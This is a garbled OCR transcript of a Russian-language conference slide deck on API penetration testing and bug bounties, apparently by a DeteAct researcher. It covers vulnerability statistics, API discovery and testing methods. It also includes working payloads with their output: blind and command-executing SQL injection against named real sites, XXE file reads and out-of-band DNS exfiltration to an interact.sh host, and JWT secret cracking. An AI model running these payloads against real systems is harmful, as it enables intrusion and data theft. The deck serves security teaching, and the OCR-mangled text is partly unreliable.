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Growth in API call volume vs. malicious traffic

API call volume, in millions Malicious API call volume, in millions
(avg. per customer) (avg. per customer)

28.0

26.46
(21%)
26.0

240
220

/s




2020

Weakness type Bounties total financial rewards amount YOY % change
1 XSS $4,211,006 26%
2 Improper Access Control - Generic $4,013,316 134%
3 Information Disclosure $3,520,801 63%
4 | server-Side Request Forgery (SSRF) $2,995,755 103%
5 | Insecure Direct Object Reference (IDOR) $2,264,833 70%
6 Privilege Escalation $2,017,592 48%
7 SQL Injection $1,437,341 40%
8 Improper Authentication - Generic $1,371,863 36%
9 | Code Injection $982,247 =7%
10 | Cross-Site Request Forgery (CSRF) $662,751 -34%
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Cross-site Scripting (XSS)

Information Disclosure

Improper Access Control

Insecure Direct Object Reference (IDOR)
Privelege Escalation

Improper Authentication

Code Injection

SQL Injection

Server-Side Request Forgery (SSRF)

Business Logic Errors

deteact.com I



Uro JioMamnT?

B 2021 romy:
Ha B3JIOM APl TpaT4ar

Ha 694% 0OoJble

00%
BpeMeHyr, udem B 2020
29%
18%
0 10% 11% 1
50/0 7 /0 70/0 l l
mnu B
Blockchain Firmware Computer Mobile loT Operating iOS Android APls Websites
Hardware Windows Systems Application
Applications

DeTeACT deteact.com I 11



DETEACT

Experience by vulnerability type Submissions Bounties

Insecure Direct Object
Reference (IDOR) 33 $9,550
CWE-639

Business Logic Errors

28 $6,407
CWE-840
Violation of Secure Design
Principles 26 $8,150
CWE-657
Improper Access Control -
Generic 22 $14,400
CWE-284
Information Disclosure 20 $3.250
CWE-200
Improper Restriction of
Authentication Attempts 19 $9,600
CWE-307
SQL Injection 5 $25.000

CWE-89

Criticals

12

Reputation

259

288

272

291

104

334

127
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* Tuner AP1

* TUMEL YS3BUMOCTEN
°* A Kak JioMaTb API?
* IHCTPYMEHTEI

* BEIBOIIBL
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A KTO TBI?

* Ramazan

* @rOhack @) -

* Texyiun u neHTecTep B DeteAct
* barxaHTEep

° Beny kaHaJyg BountyOnCoffee )
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Turner AP1

* REST
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Turner AP1

e REST

°* GraphQL
* SOAP

* XML-RPC
°* JSON-RPC
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OWASP TOP10 API Security

I
Broken object level authorization

Broken authentication

Excessive data exposure

Lack of resources and rate limiting
Broken function level authorization
Mass assignment

Security misconfiguration

Injection

Improper assets management
Insufficient logging and monitoring

DETEACT
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MeToner cbopa API

° [IyOJyiMuHBEIE Swagger
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MeTonel cObopa API

° [IlyOmuHEIE Swagger

* lnHaMmueckasa cbOopka
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MeToner cbopa API

& & wildberries.ru/security/login?returnUrl=http

° [IyOJyiMuHBEIE Swagger

A¥aTdal 1)

Karanor u NOMCK TYT .
CKNH3UBHBIE CKMAKA

* lnHaMmueckasa cbOopka

o CAC _marruinva A7 Whildharrac

*B JavaScript odamnax

x 0] SNEeMEHThI KoHconb Recorder & Performance insights & MCTOUYHMKM CeTb

CrpaHuua > ¢ [[4 route-data-rujs?9.3.58.1 X ¥ >
N loginzretunlir=hiips3%3A 1 path™ i "webapil/1k/mywallet/moneybalance™ |"name" : "SpaWalletM ()
. favicon.ico
manifestv2.json
» S MetaMask
» > Wappalyzer - Technology profils
» O awb.ru
v O staticwbstatic.net

>

marketing

»
r
. js-templates-ru-rujs?9.3.58 \B i HaliaeHo cooTBeTcTBMIA: 362. ‘ = ‘ =

. route-data-ru.js?79.3.58.1 OTMeHa
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MeTonel cbopa API

° [IlyOmuHEIE Swagger
* lnHaMmueckasa cbOopka
*B JavaScript odamnax

° C NOMOIILID ITOPKOB
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MeToner cbopa API

° [IyOJyiMuHBEIE Swagger
* lnHaMmueckasa cbOopka

*B JavaScript odamnax

%s [api/vl/%s/ HTTP/2
Host: embedded.jugru.org

° C NOMOIILID ITOPKOB

* [lepeBop SHOIOUHTOB Content-Type: Z%s
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MeToner cbopa API

° [IyOJyiMuHBEIE Swagger
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MeToner cbopa API

° [IlyOmuHEIE Swagger

* lnHaMmueckasa cbOopka
*B JavaScript odamnax
° C NOMOIILID ITOPKOB

° [l[epeOop SHAOIIOMHTOBRB
* APK dani

* Tnternet Archive

https://web.archive.org/cdx/search/cdx?url=https://site.ru/api
/*&output=text&fl=original&collapse=urlkey

DETEACT

C @& web.archive.on

://sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: //sbermegamarket.
://sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
1 f/sbermegamarket.
: //sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
1 f/sbermegamarket.
://sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
://sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
: //sbermegamarket.
://sbermegamarket.
: f/sbermegamarket.
: f/sbermegamarket.
1 f/sbermegamarket.
: //sbermegamarket.
://sbermegamarket.
: f/sbermegamarket.

JErmegama

rufapi/mobile/vl/abTestService/experiment/search
rufapi/mobile/vl/analyticsDataService/event/push
rufapi/mobile/vl/analyticsDataService/webVitalsMetrics/send
rufapi/mobile/vl/catalogService/catalog/menu
rufapi/mobile/vl/catalogService/catalog/productCard
rufapi/mobile/vl/catalogService/catalog/productCardReviews
rufapi/mobile/vl/catalogService/catalog/search
rufapi/mobile/vl/catalogService/filters/search
rufapi/mobile/vl/catalogService/productCardCategories/get
rufapi/mobile/vl/catalogService/productCardReviewInfo/get
rufapi/mobile/vl/catalogService/sizeTable/get
rufapi/mobile/vl/cncService/shopSession/list
rufapi/mobile/vl/customerGoodsListService/item/list
rufapi/mobile/vl/customerGoodslListService/item/1listSimple
rufapi/mobile/vl/featureService/features/get
rufapi/mobile/vl/partnerService/merchant/legallnfo/get
rufapi/mobile/vl/productReviewService/review/list
rufapi/mobile/vl/profileService/faddress/list
ru/fapi/mobile/vl/promoContentService/promoContent/get
rufapi/mobile/vl/regionService/region/search
rufapi/mobile/vl/securityService/oauthSession/init
rufapi/mobile/vl/securityService/profile/get
rufapi/mobile/vl/securityService/session/start
rufapi/mobile/vl/seoService/pdp/get
rufapi/mobile/vl/staticContentService/staticMenu/get
rufapi/mobile/vl/urlService/url/parse
rufapi/mobile/vl/userlocationService/region/get
rufapi/mobile/v2/cartService/cart/search
rufapi/mobile/v2/customerRecentlyViewedService/goods/list
rufapi/mobile/v2/issuesService/issue/list
ru/api/webUIService/vl/locationService/location/get
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MeTonrl TecTHpOBaHMA API

° [[poBepkKa IOOCTYIIOB
* TDOR
* Improper Access
* Privilege Escalation
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MeTonrl TecTHpOBaHMA API

|
° [[poBepKa IOOCTYIIOB

* TUNIBEL AYTEHTUPMKALU
* JWT
* OAuth
°* Basic

> jwt-hack crack -w i i illi assword—-1list—top-1000.txt eyJhbGci0iJIUZ
d8p 8d8 dB88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,0.d88 '88d 88888888 88'80 dss8 88808P"'
88P 888P Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b "Y' d888888 888 8p

[*] Start dict cracking mode

INFO[0000] Loaded words (remove duplicated) size=1000

INFO[0000] Found! Token sianature secret is test Signature=Verified Word=test
[+] Found! JWT signature secret: test

[+] Finish crack mode

DETEACT
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MeTonrl TecTHpOBaHMA API

° [[poBepKa IOOCTYIIOB

* TUNEI Ay TEHTUPUKALIU
* JWT
* OAuth
°* Basic

> jwt-hack crack —-w hacking/wordlists/10-million—password-1list—top-1000.txt eyJhbGci0iJIUZ
d8p 8d8 dB88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,0.d88 '88d 88888888 88'80 dss8 88808P"'
88P 888P Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b "Y' d888888 888 8p

[*] Start dict cracking mode

INFO[0000] Loaded words (remove duplicated) size=1000

INFO[0000] Found! Token sianature secret is test Signature=Verified Word=test
[+] Found! JWT signature secret: test

[+] Finish crack mode
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MeTonrl TecTHpOBaHMA API

I
° [[poBepKa IOOCTYIIOB
* TUNEI Ay TEHTUPUKALIU

° [lepebop mapaMeTpoOB
* Mass Assignment

DETEACT
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MeTonrl TecTHpOBaHMA API

I

° [[poBepKa IOOCTYIIOB

* TUNIBEL AYTEHTUPMKALU
° [lepebop mapaMeTpoOB

* Parameter Pollution

/profile?id=123&action=delete&action=update

DETEACT

ASP.NET/IIS All occurrences of the specific parameter parl=vall,val2
ASP/IIS All occurrences of the specific parameter parl=vall,val2
PHP/Apache Last occurrence parl=val2
PHP/Zeus Last occurrence parl=val2
JSP,Serviet/Apache Tomcat First occurrence parl=vall
JSP,Servlet/Oracle Application Server 10g First occurrence pari=vall
JSP,Serviet/Jetty First occurrence parl=vall
IBM Lotus Domino Last occurrence parl=val2
IBM HTTP Server First occurrence parl=vall
mod_perl,libapreq2/Apache First occurrence parl=vall
Perl CGI/Apache First occurrence pari=vall
mod_perl,lib??7?/Apache Becomes an array ARRAY(0x8b9059c)
mod_wsgi (Python)/Apache First occurrence parl=vall
Python/Zope Becomes an array ['vall', 'val2']
IceWarp Last occurrence parl=val2
AXIS 2400 All occurrences of the specific parameter parl=vall,val2
Linksys Wireless-G PTZ Internet Camera Last occurrence parl=val2
Ricoh Aficio 1022 Printer First occurrence parl=vall
webcamxP PRO First occurrence parl=vall

DBMan

All occurrences of the specific parameter

parl=vall~~yal2

deteact.com I 42




MeTonrl TecTHpOBaHMA API

E—
° [[poBepKa IOOCTYIIOB
* TUNEI Ay TEHTUPUKALIU
* [lepebop napaMeTpoOB
* Parameter Pollution

* Bepcum API

DeTeACT deteact.com I



MeTonrl TecTHpOBaHMA API

°* [[poBepKa IOOCTYIIOB

* TUNIBEL AYTEHTUPUMKALU
° [lepebop mapaMeTpoOB
* Parameter Pollution
* Bepcum API

* KaBrlUka M IOPYyI'MEe CUMBOJIEI
* SQL i1njection
* XML 1njection
* Command 1njection

* LDAP 1njection
DeETEACT deteact.com I a4



MeTonrl TecTHpOBaHMA API

E—
° [[poBepKa IOOCTYIIOB

* TUNEI Ay TEHTUPUKALIU

* [lepebop napaMeTpoOB

* Parameter Pollution

* Bepcum API

* Kaprluka M IOpyI'Me CUMMBOJIEL
°* CORS

https://habr.com/ru/company/macloud/blog/553826/

DETEACT

Pretty Raw Hex

1 POST /api/vl/command HTTP/2

2 Host: my.jugru.org

3 Cookie: jugru-lk-backend_access-token =:
4 Content-Type : application/json

5 Origin: https://cors.hack

"command" : "user.get_info" ,
"commandData" :{

}
}
) « >

Pretty Raw Hex

7 X-Xss-Protection : 1; mode=block

8 Cache-Control : no-cache, no-store, max-age=0, must-revalidate

9 Pragma: no-cache

10 Expires: ©

11 X-Frame-Options : DENY

12 Strict-Transport-Security : max-age=15724800; includeSubDomains

13 Access-Control-Allow-Origin : https://cors.hack

14 Access-Control-Allow-Credentials : true

15 Access-Control-Allow-Methods : GET, PUT, POST, DELETE, PATCH, OPTIONS

16 Access-Control-Allow-Headers :
DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-S:

deteact.com I



MeTOonoEl TeCTUPOBAHUA

E—
° [[poBepKa IOOCTYIIOB

* TUNEI Ay TEHTUPUKALIU

* [lepebop napaMeTpoOB

* Parameter Pollution

* Bepcum API

* Kaprluka M IOpyI'Me CUMBOJIEL
°* CORS

* /IrsmMmeHeHe HTTP MeTOoImoOB

DETEACT
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MeTonrl TecTHpOBaHMA API

I

°* [[poBepkKa IOOCTYIIOB

* TUNBEL AYTEHTUPUMKALIU

° [lepebop mapaMeTpoOB

* Parameter Pollution

* Bepcum API

° KaBrluka M IOIPYyI'ME CUMBOJIEL
°* CORS

°* /IamMmeHeHme HTTP MeTOonmos

* TUIIEI IapaMeTpPoOB

DETEACT

"username": "Heisen"}
{"username”: true}
{"username"”: null}

"username™: 1H

"username”: [truel]}

"username": ["Heisen", true]}

"username”: {"$neq": "bug"}}
username[bug]=heisen

deteact.com I



MeTonmrl TecTHpOBaHMA API

I

* [I[poBrepka IOOCTYIIOB

* TUnel ayTEeHTUPUKALIUU

° [lepebop HmapaMeTpoOB

* Parameter Pollution

* Bepcum API

* KaBrluka U OpyI'Me CUMBOJIBL
* CORS

* /ImsmeHeHMe HTTP MeTOonoB
* Tunel rnapaMeTpoB

* Web + Mobile + Desktop

DeTeACT deteact.com I 48
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JlJoTueckme Oarm B API



IDOR

I
1000
/apl/vl/profile/1337 9
ATTACKER " 1001
DeTEACT
()
1002
=
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I'me BCcTpeyaeTCHd?



IDOR - Besmecyluasg ya3BMMOCTE !
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[Ilpoumeprr — IDOR

° /IsMeHeHue agpecCa IIOJIb30BaATEJI!

Pretty Raw Hex
1 POST /v3/changeProfile/1337 HTTP/2

* UTeHM COOOWEHMNM U3 YaTOB 2 Host: api.example.com
3 Content-Type : application/json

° HpOCMOTp Uy KX KapT B HOKepe 4 Authorization : Bearer Token

°* /I3MeHeHMre IOaHHBIX B Ipojuie

e

°* YoaJieHMe aKKayHTa 6 {
"phone" :"7999999999"
* CKauMBaHME UYXMX ITaHHBIX }

DeTeACT deteact.com I



Broken Access Control

* Improper Access

* Privilege Escalation

000:::: A
:Eé‘ »%ﬁ$<><~ £&;

¢ »4 » &
S
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I'me BCTpeUaeTCAa?

* PoJleBad MOIeJIb

* /l[HTepHEeT—MaTra3MHEI
* baHKkM

* CoumalsiIbHBEIE CeTH

°* KOMIIJIEKCHEIE CEPBUCEI

DeTeACT deteact.com I



B 3MN0Xy MHOIT'OCJIOMHEIX APXUTEKTYP TaKue
OarmM CTAHOBATCHA €lle IIOoNyJidpHee

1 ElasticSearch
OpenResty

Monolithic vs Microservices
PHP-FPM
Monolithic
, / memcached Logger
. ooy ‘ Django WSGI <
@.&& Kafka Worker 1
Anti-DDoS

as

/ ExpressJS PostgreSQL

Worker 2

Microservices

DeETEACT deteact.com I 57



[Ilpoumeprsr — BAC

°* /IeMeHeHe aIMMHCKMX ITaHHBIX

°* BOBMOXHOCTB BHEIIIOJIHEHUSA
AIMUHKMX IIeMCTBUN

* UTeHre IaHHEIX, KOTOPHE
IOCTYIIHEI IOPYyI'VM
[10JIL30BaATEJIAM

°* OOBIUHEIM II0OJIB30OBATEJIE MOXeT
T00aBJISTE I[NOJIB30OBATEJIEN C
IPUBUIIETUAMM aIMMUHA

DETEACT

Pretty Raw Hex

POST /v4/addUser HTTP/2

Host: api.example.com

3 Content-Type : application/json
4 Authorization : Bearer Token

1

-

£

—

Ty

¥,
O

> {

}

"Name" : "Ivan",
"email” : "test@test.ru” ,
"role” :"admin™

deteact.com I



Mass Assignment

Pretty Raw Hex

1 POST /api/auth/register HTTP/2
2 Host: test.com
3 Content-Type : application/json

A

54
"username” :"penteste2"” ,
"email” : "penteste+2@test.ru” ,
"password” :"pass",
"repeatPassword” :"pass"”,
"captchaToken" : "token"

}

DeETEACT deteact.com I



Mass Assignment

[ Original request I Edited request I Response ]

jRawT Headers I Hex ]

Date: Tue, 08 Dec 2020 12:54:34 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 311

Connection: close

Access-Control-Allow-Origin: *

Content-Security-Policy: default-src 'self';base-uri 'self’;block-all-mixed-content;font-src 'self' https: data:;frame-ancestors 'self';img-src 'se
data:;object-src 'none';script-src 'self';script-src-attr ‘none';style-src 'self' https: ‘unsafe-inline’;upgrade-insecure-requests
X-DNS-Prefetch-Control: off

Expect-CT: max-age=0

X-Frame-Options: SAMEORIGIN

Strict-Transport-Security: max-age=15552000; includeSubDomains

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-Permitted-Cross-Domain-Policies: none

Referrer-Policy: no-referrer

X-XSS-Protection: 0

X-Ratelimit-Limit: 200

X-Ratelimit-Remaining: 198

X-Ratelimit-Reset: 1607432120

ETag: W/"137-xkVEssh78XFH62kémgwKpDi7Tps"

{"email":"pentest0+2 @yandex.ru","username": pentestO?_","roIe":Z,"@IIg":100,"rewards":100,"profi|e":{"id":109,"job":"","telegram":"","banl
mber":"","bin":"" "iin":"" "firstname":"" "lastname":"","patronymic":""},"itk:109," crea ":"2020—M12:54:34.4242“,"updated":"2020—12—(
}

DeTeACT deteact.com I 60



Mass Assignment

|
Request Request
Pretty Raw Hex Pretty Raw Hex
1 POST /api/auth/register HTTP/2 1 POST /api/auth/register HTTP/2
2 Host: test.com 2 Host: test.com
3 Content-Type : application/json 3 Content-Type : application/json
4 4
5 { > 514
"username"” : "penteste2” , "role" :1,
"email” :"pentestO+2@test.ru” , "rating” : 1000,
"password” :"pass"”, "rewards" :1000,
"repeatPassword"” :"pass", "username” :"penteste2” ,
"captchaToken™ : "token™ "email” : "penteste+2@test.ru” ,
} "password"” :"pass",

"repeatPassword" :"pass”,
"captchaToken" : "token"

DeETEACT deteact.com



VIHbekLiMM B API



SQL-1njection

I'me BCcTpeyaeTCHd?
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[lpyMeprsr SQL1

* BHyTpeHHMe cepBUCH - https://vk.cc/cieDxG

DeTeACT deteact.com I


https://vk.cc/cieDxG

Burp Pm}e::[ Intruder Repeater Window Help

| E)ashboard 3&[991 I Proxy ]Intruder ]Repeater ] faequencer | Decuder l (,nmparer ]i xlencler Prcuect opllons | Uc_.er npt:ons 1 JSON Beanmllpf ]

e T we e T L] [ Possbeor mee s e a0 e
e B o B EI T AT [ el WO e BT e SR TR e T_SQLJ« T e pr T B T

[ Send J Cancel | | < | b~ 0 Target: https:iicity-mobil.ru / @
Request Response
JﬂawT Params I Headers |r Hex ] JR&\UI Headers i Hex T Render TJSDN Beaulifier ]
GET =  HTTP/1.1 200 OK iod
[taxiserv/driverpayments/dictionary?page=08&ifilter=%7b%22oppdate®22%3a%7b%22b%22%3a%22202 Server: nginx
0-05-07%2000%3a00%3a00%22%2c%22e%22%3a%222020-05-07%2022%3ad44%3a2 3" % 2b(select*fro Date: Thu, 07 May 2020 21:33:37 GMT
m(seied{se[ect%?_Dsleep{3}%20&om%2Dc[uaI%Zﬂwhe;'e%ZDdatabase{]%?‘_ﬂ|ike':\'g2O'4%]}a}‘,¥:2b"36'122‘,¥;'.-’d%2c Content-Type: text/html .charset=utf-&
%22id%22%3a%22%22%2c% 22driverid%22%3a%2214762206%22%2c¢%22idhash%22%2a%22%22%2c Connection: dose
%22id type%22%3al]%2ch22reg num%22%3a%22%22%2c%22id user%22%3a%22%22%7d8tsort=%7 Vary: Accept-Encoding
B%7D&info=%7B%7D HTTP/1.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Host: city-mobil.ru Cache-Control: no-store, no-cache, must-revalidate
Connection: close Pragma: no-cache
Accept: application/json, text/javascript, */* q=0.01 Content-Security-Policy: default-src 'none’; base-uri 'none’; form-action "self’; img-src 'self' data: blob: *.city-mobil.ru
X-NewRelic-1D: VQcFV1SCRABVIBUAgGHUYc= ) http://external storage.city-maobil.ru *.nr-data.net maps.gstatic.com *.googleapis.com api-maps.yandex.ru *.maps.yandex.net
X-Requested-With: XMLHttpRequest I yastatic.net *.ggpht.com yandex.ru/clck/counter/ mcyandex.ru *.mailiu; style-src "self' fonts.googleapis.com 'unsafe-inline’;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64d; x64) AppleWebKit/537.36 (KHTML, like Gecko) . font-src 'self' data: fonts.googleapis.com fonts.gstatic.com 'unsafe-inline’; script-src 'self’
Chrome/81.0.4044.122 Safari/537.36 ‘nonce-26b358a82742 1bcflaal31acf84ad 040 * newrelic.com bam.nr-data.net maps.googleapis.com
newrelic; *.google.com/recaptcha/ *.gstatic.com/recaptcha/ api-maps.yandex.ru *.maps.yandex.net * mail.ru suggest-maps.yandex.ru
eyl 2lipb MCunddSwiZ Cl6ey) 0eS16lklyb 3dzZX ILCIhYy 161 ExMjY OMTEILCIhe CIBI Ey MTY 1 NTAA My IsimlkljoiMz ‘unsafe-eval’; media-src 'self' *.city-mobil.ru; frame-sre 'self’ *.city-mobil.ru *.google.com api-maps.yandex.ru o
VhNDRIZTMzZDAyZmFhOCIsInRyljoiNmY 1 MWZkZDUwNzEzMDY2ZS IsInRpljoxMTgd4 O DgwhNjY OMjk4{X0 = cpg.money.mail.ru *.newrelic.com *.yclients.com; connect-sre 'self' https://*.city-mobil.ru wss://*.city-mobil.ru
Sec-Fetch-Site: same-origin wss://*.city-mobil.ru:9089 https://bam.nr-data.net https://*.mail.ru api-maps.yandex.ru blob:; object-src 'self’; report-uri
Sec-Fetch-Mode: cars ftaxiserv/csp/block
Sec-Fetch-Dest: empty X-Content-Security-Policy: default-src ‘'none’; base-uri ‘none’; form-action "self’; img-sre 'self' data: blob: *.city-mobil.ru
Referer: http://external.storage.city-mobil.ru *.nr-data.net maps.gstatic.com *.googleapis.com api-maps.yandex.ru *.maps.yandex.net
https://city-mobil.ru/taxiserv/driverpayments?oppdate_b=2020-05-07%2000:00:00&0ppdate_e=2020-05 yastatic.net *.ggpht.com yandesx.ru/clck/counter/ meyandex.ru *.mail.ru; style-sre ‘self' fonts.googleapis.com 'unsafe-inline’;
-07%2022:44:238id = &driverid =147 62206&idhash = &id type=[]&reg num=&id user= font-sic 'self' data: fonts.googleapis.com fonts.gstatic.com 'unsafe-inline’; script-src 'self’
Accept-Encoding: gzip, deflate ‘nonce-26b358a82742 1bcf1aal31acdf84ad040' * newrelic com bam.nr-data.net maps.googleapis.com
Accept-Language: ru-RUruq=09.en-US:q=0.8,en;,q=0.7 * google.com/recaptcha/ *.gstatic.com/recaptcha/ api-maps.yandex.ru *.maps.yandex.net * mail.ru suggest-maps.yandex.ru
Cookie: PHPSESSID=XdzIGTKApRsIG% 2 BcO0SbwdyAY d HIW GwCXMpuOgXOhwlP; ‘unsafe-eval’; media-src "self' *.city-mohil.ru; frame-src 'self’ *.city-mobil.ru *.google.com api-maps.yandex.ru

ibp fb 1.1585919280754, 1619 074(10 ga GA1.2 1854"44?66 1585919281; > | cpy. money mail.ru newrellc com yrllents com; connect-src *;elf https,’,f ity mobll ru wss://™* clty mobll ru -
@ ‘_J s L Type a search ler I 0 malches @ \_J ;JI Type a search lerm 0 malches

Done

'+ (select*from(select (select sleep(2)
a)+'

database () like

'city'))

3737 bytes | 3 061 millis

from dual where
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* BHyTPpEeHHME CEPBUCEH

* [ToCck

DETEACT

Request

J Raw I Params I Headers I Hex ]

GET ;
/apps/smartsearch/search.php?callback=__callback&q=%25D0%259C%25D0%25BE%25D1%
2581&lg=ruscnt=RU&p=1"+or+'1'="1"+--+hui&_=1571062709933 HTTP/1.1
Host:i11l-services.aa.com

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/69.0.3497.100 Safari/537.36

Connection: close

Cache-Control: max-age=0

@ ‘»;J j;‘b Type a search terr 0 matche

Response

| Raw | Headers | Hex | Render |

__callback({"result" : [{"display" : "Bammuurron, okpyr Koayymous (WAS), Bammsurron, oxpyr Komyvyous,
CIIIA", "data" : "\\’5\5"}, {"display” : ",’.'Ia:mas ®Popr-Vapr (DFW), mrar Texac, CIITA", "data" : "DFW"},
{"display" : "Hero-Hopx Cuta (NYC), Hero-Hopxk, CIITA ", "data” : "NYC"},{"display" : "Can-®Ppannucko
(SFO), mrar Kamdopuna, CIIIA", "data” : "SFO"}.{"display” : "Xsrocton (HOU), mrar Texac, CIIIA",
"data" : "HOU"}.{"display” : "Can-Tuero (SAN), mrar Katudoprus, CIIIA", "data" : "SAN"},{"display” :
"Asponopt Txon Vaiin, Opamx Kavata (SNA), mrar Kaandoprua, CIITA", "data" : "SNA"}, {"display” :
"Hoestit Opaean (MSY), mrar Jlynznana, CIITA", "data" : "MSY"},{"display” : "baarimop / Bammsurton
Mexayrapoassni (BWI), mrar Mapuaera, CIIIA", "data” : "BWI"},{"display” : "densep (DEN), mrar
Koaopazo, CIIIA ", "data" : "DEN"},{"display” : "Jloc-Anzxenec (LAX), mrar Kamudopuna, CIIIA", "data" :
"LAX"},{"display" : "Uukaro O Xapa (ORD), mrar Hrmmnoiic, CIIIA", "data" : "ORD"},{"display"” : "Casn-
Xoce (SJC), mrrar Kamudopruusa, CIIIA", "data” : "SIC"}]}):
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* OMJIb TPHL
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* BHyTPpEeHHME CEPBUCEH

* [Ionck

* OMJIb TPHL

°* BEIIIOJIHEHME KOIoa Uepes

"descFields": [
"id;create table cmd exec(cmd output text);copy cmd exec fr

om program 'id'; -- ="
"descFields": [
"(cast((select * from cmd exec) as int)) =-- =

1, -
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HTTP/2 503 Service Unavailable
Access-Control-Allow-Headers:

Origin, X-Requested-With, X-File-Location,Content-Ty

pe, Accept,User-Identity, Authorization
Access-Control-Allow-Methods:
GET,POST,PUT, DELETE, HEAD, OPTIONS, PATCH
Access-Control-Allow-Origin: *
Content-Type: application/json

Date: Thu, 2& May 2022 10:04:40 GMT
Content-Length: Z75

"error'":

"ERROR: invalid input syntax for type integer:
"uid=999 (postgres) gid=999 (postgres) groups=
postgres), 103 (ssl-cert) \"",

"code'": 14,

"message":

"ERROR: 1invalid input syntax for type 1nteger:
"uid=999 (postgres) gid=998 (postgres) Jgroups=

postgres), 103 (ssl-certc) '\ ""

r
ggg |

r
ggg |
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]

* BHyTPpEeHHME CEPBUCEH
* [Ionck

* OMJIb TPHL

°* BEIIIOJIHEHME KOIoa Uepes
SQL1

TT — — - -~ Sl P — _

4 Content-Type : application/json 10 { ; .,

5 Content-Length : 86 error-:

6 "ERROR: invalid input syntax for type numeric: \"root:x:0:0:r
7 { aemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sb
2 “iia id":[ /sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:
9 "(cast((select * from pg_read file('/etc/passwd')) as numeric))” i:\nm?;:x:2:éz:m?;:ﬁvarﬁca?eﬁman}/?rﬁsbin/@o\l\ogin\nlp;x;?:7
10 ] n\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:ne
11 } n\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy

in\nwww-data:x:33:33:www-data:/var/www: /usr/sbin/nologin\nbac
r/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/
/var/run/ircd: /usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Repo
s/usr/shin/nnlnsin\nnnhody ¥ :R5534 65534 - nohndv * /nonexistent -
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I'me BCcTpeyaeTCHd?
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Besnge, rne ecTbr obOpaborTka XML-IaHHEBEIX



XML 1

* UTeHMe Qamnjion

DETEACT

[ 1

(* sensitive data)

\l

e

<?xml version="1"?>

<!DOCTYPE stockCheck [ <!'ENTITY
xxe SYSTEM "file:///etc/passwd"> ]1>

<stockCheck><productId>ZeeH
</productId></stockCheck

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man:/var/cache/man: /bin/sh
lp:x:7:7:1p: /var/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news: /bin/sh
uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin: /bin/sh
www-data:x:33:33:www-data:/var/www: /bin/sh
backup:x:34:34:backup: /var/backups:/bin/sh
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POST m ‘api/v5, HTTP/1.1
Host: s

Content-Disposition: form-data; name="files[] "; filename="sample.fb2"
Content-Type: application/octet-stream

<IELEMENT p ANY >
<IENTITY xxe SYSTEM “file: ///homo/ s / bash_history" >]>

:635ewr32456fdsdfs7dsf3r -1
<title-info>

<author> dssdfdfsd68fa423srwedfffdsd8rwfe6sdfs234fsddgdffdgdg67868ffad curl -v localhost:65035/health | jq
<first-name>Name</first-name> -v 127.0.0.1:65035/health | jq git grep Test git grep 'Fragment' git grep 'Fragment’ | grep test ls -la git git

</author> clone https / .
<book-title>s4343sddsffdsdf </book-title> : : S ) )

<annotation>

<p>anon</p>

</annotation>
</title-info>
</description>
<body>
<title>

<p>Title</p>
</title>
<section>

<title>

<p> —— < /p>

<p> </p>



XML 1

* UTeHMe 0anjioB

° BEIBOII COOEPXMMOTO (amjioB B
CI'eHEPUPOBAHHEM Qanl

* SSRE uepes XXE

<IDOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-webapp.com/"> ]>
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XML 1

* UTeHMe 0anjioB

° BEIBOII COOEPXMMOTO (amjioB B
CI'eHEPUPOBAHHEM Qanl

* SSRE uepes XXE
°* SQL1 uyepes XXE
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'| | (select extractvalue(xmltype('<?xml version="1.8" encoding="UTF-8"2?>
<IDOCTYPE root [ <!ENTITY % jiest SYSTEM "http://'||(select owner from

(select owner, rownum as rn from (select DISTINCT owner from all tables

order by owner asc)) where rn=1)||'.server/">%jiest;]>"),'/1"') from dual) |

"error":

"dpiStmt_execute: ORA-31011: XML parsing failed\nORA-19202: Error occurred in XML process
ing\nLPX-00202: could not open \"http:// CTXSYS.cacat8cje37b6isv597gckck7eoyyyyyn.interact
.sh\" (error 300)\nError at line 1\nORA-06512: at \"SYS.XMLTYPE\", line 301\nORA-86512: a
t line 1",

& Hacking

[INF] Listing 1 payload for OOB Testing

[INF] cacat8cje37b6isv597gckck7eoyyyyyn.interact.sh
[CTXSYS.cacat8cje37b6isv597gckck7eoyyyyyn] Received DNS interaction |

https://www.netspi.com/blog/technical/web-application-penetration-
testing/advisory-xxe-injection-oracle-database-cve-2014-6577/
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VIHCT

"PYMEH?"

bl



VIHCTOYMEHTEL

— .
* BurpSuilte l '
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VIHCTPYMEHTEL

]
